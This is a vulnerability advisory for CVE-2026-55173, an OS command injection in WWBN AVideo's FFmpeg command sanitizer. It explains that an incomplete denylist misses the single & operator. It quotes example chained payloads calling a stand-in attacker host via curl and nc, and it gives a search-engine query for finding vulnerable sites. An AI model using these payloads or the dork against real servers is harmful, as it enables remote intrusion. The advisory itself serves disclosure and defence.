WWBN AVideo up to 29.0 FFmpeg Command Processor functions.php sanitizeFFmpegCommand codeToExecEncrypted os command injection

Summaryinfo

A vulnerability identified as critical has been detected in WWBN AVideo up to 29.0. This issue affects the function sanitizeFFmpegCommand of the file plugin/API/standAlone/functions.php of the component FFmpeg Command Processor. Performing a manipulation of the argument codeToExecEncrypted results in os command injection. This vulnerability is reported as CVE-2026-55173. The attack is possible to be carried out remotely. No exploit exists.

Detailsinfo

A vulnerability classified as critical has been found in WWBN AVideo up to 29.0. This affects the function sanitizeFFmpegCommand of the file plugin/API/standAlone/functions.php of the component FFmpeg Command Processor. The manipulation of the argument codeToExecEncrypted with an unknown input leads to a os command injection vulnerability. CWE is classifying the issue as CWE-78. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

It is possible to read the advisory at github.com. This vulnerability is uniquely identified as CVE-2026-55173 since 06/16/2026. The exploitability is told to be easy. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details of the vulnerability are known, but there is no available exploit. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 07/16/2026). The attack technique deployed by this issue is T1202 according to MITRE ATT&CK.

By approaching the search of inurl:plugin/API/standAlone/functions.php it is possible to find vulnerable targets with Google Hacking.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Vendor

• WWBN

Name

• AVideo

Version

• 29.0

License

• open-source

Website

• Product: https://github.com/WWBN/AVideo/

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